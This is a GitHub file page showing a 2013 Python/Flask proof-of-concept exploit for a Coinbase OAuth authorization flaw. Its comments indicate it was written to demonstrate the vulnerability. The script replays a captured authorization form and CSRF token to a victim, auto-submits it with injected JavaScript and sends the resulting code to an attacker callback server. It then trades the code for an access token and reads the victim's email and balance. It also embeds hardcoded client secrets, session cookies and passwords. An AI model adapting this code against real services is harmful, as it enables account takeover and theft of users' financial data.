-
Notifications
You must be signed in to change notification settings - Fork 1
/
OAuth2-PoC-live.py
116 lines (94 loc) · 5.28 KB
/
OAuth2-PoC-live.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
#!/usr/bin/python
# -*- coding: utf-8 -*-
# Coinbase.com OAuth Authorization PoC
# Donncha O'Cearbhaill - 4/05/13
# donnchacarroll@gmail.com - PGP: 0xAEC10762
import requests
import json
from BeautifulSoup import BeautifulSoup
from flask import Flask, request, render_template
from flask.ext.basicauth import BasicAuth
# This is a very rough PoC script but it should be enough to demonstate the vulnerability. When one user loads the OAuth authorize page
# for an attacker's OAuth2 app, they can get correct values for authenticity token, which can then be used to submit an confirm
# authorization request in the context of the victim. Once the the form is submitted by the victim viewing any page or link with
# the copied Auth form, and attacker can gain their access_token and result in a complete compromise of the victim's account.
# Credentials for malicious OAuth2 application
CLIENT_ID = '5e314a8ff22aeae05ad632ea601fcb6600627625ed3b24f02fae4699a5fce89e'
CLIENT_SECRET = '30b679b7307b5d2c2c2b8820f0b18ccbaed2c0ff74a7c98e7386e5e9457a81bb'
CALLBACK_URL = 'http://tor.totalimpact.ie:8443/callback'
OAUTH_URL = 'https://coinbase.com/oauth/authorize?response_type=code&client_id=' + CLIENT_ID + '&redirect_uri=' + CALLBACK_URL
# These are currently session cookies for a test user just to retrieve the OAUTH form and tokens. Your
# OAuth implementation will automatically redirect this test user to the callback if a victim has already
# accepted the OAuth request. Must use new user or new OAuth application and keys every time.
cookie = {
'_coinbase_session': 'BAh7CUkiEWxhc3RfdXNlcl9pZAY6BkVGSSIdNTE4MjNkNzcwMWY5ZTY4OGFlMDAwMDA4BjsAVEkiD3Nlc3Npb25faWQGOwBGSSIlMDI4MjY5OTNkYzY5OGNkZDk3N2RmZGYxZGIyNDYzOGUGOwBUSSIQX2NzcmZfdG9rZW4GOwBGSSIxWlhMRFpxMUJlMXkwVkVIaFRGaEJodTVkT0wyZGZ3Y1MyM2poaHpjalVUcz0GOwBGSSIMdXNlcl9pZAY7AEZJIh01MTgyM2Q3NzAxZjllNjg4YWUwMDAwMDgGOwBU--18c529b31be9999d11753795cfb358d896be14e6',
'__cfduid': 'dea4704a976c98c0dcc232cf864b6488c1367625811',
'df': '37f74aa774726f63176b247b7a3fb51e',
'__ssid': '3e13154e-ddd8-4be6-b6a6-bd9efb473742',
'return_to': '',
}
# Make an request to the OAuth authorize page and get a copy of the form and CSRF values to send to the victim
def retrieveOAuthForm(oauth_url, cookie):
r = requests.get(oauth_url, cookies=cookie)
if r.status_code == 200:
oauth_confirmation = BeautifulSoup(r.text)
oauth_form = oauth_confirmation.find('form')
oauth_form['action'] = 'https://coinbase.com' + oauth_form['action'] # Change the relative URL of the form to an absolute URL
oauth_form = str(oauth_form) + '<script type="text/javascript">document.forms[0].submit();</script>'
return oauth_form # Send the OAuth authorization form to the user and autosubmit it.
else:
# Stop if we could not retrieve the OAuth authorize form
return 'The OAuth form could not be retrieved, maybe the current requesting user has already authorised this form. Error: ' + str(r.status_code)
def getAccessToken(code_token):
access_token_data = {
'grant_type': 'authorization_code',
'code': code_token,
'redirect_uri': CALLBACK_URL,
'client_id': CLIENT_ID,
'client_secret': CLIENT_SECRET,
}
r = requests.post('https://coinbase.com/oauth/token', data=access_token_data)
if r.status_code == 200: # Request was successful, output access token and return it.
#token_data = json.loads(r.text)
return str(json.loads(r.text)['access_token'])
else:
print 'There was an error retrieving the access_token'
print r.text
# Setup Flask Webserver
app = Flask(__name__)
# Authentication for live instance
app.config['BASIC_AUTH_USERNAME'] = 'coinbase'
app.config['BASIC_AUTH_PASSWORD'] = 'securityP0C'
app.config['BASIC_AUTH_FORCE'] = True
basic_auth = BasicAuth(app)
@app.route('/')
@basic_auth.required
def index():
# Retrieve authorization form and return it to the user
return render_template('index.html', oauthform=retrieveOAuthForm(OAUTH_URL, cookie).decode('utf-8'))
# Retrieve the code token from the callback, get the access token and make some tests.
@app.route('/callback')
@basic_auth.required
def callbackPage():
code_token = str(request.args.get('code', ''))
print 'Callback Code: ' + code_token # Log code to stdout
access_token = str(getAccessToken(code_token))
if len(access_token) == 64: # Check we got an access token in the expected format
print 'Access Token: ' + access_token # Log access_token to stdout
# Retrieve some victim information to confirm the compromise.
user_json = requests.get('https://coinbase.com/api/v1/users?access_token=' + access_token)
# Create output data
user = json.loads(user_json.content)['users'][0]['user']
results = [
('ID', user['id']),
('Name', user['name']),
('Email', user['email']),
('Currency', user['native_currency']),
('Balance', user['balance']['amount']+' '+user['balance']['currency']),
]
print results
return render_template('result.html', code_token=code_token, access_token=access_token, results=results) # + balance_data.text
else:
return 'Error: Could not retrieve access token'
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8443, debug=True)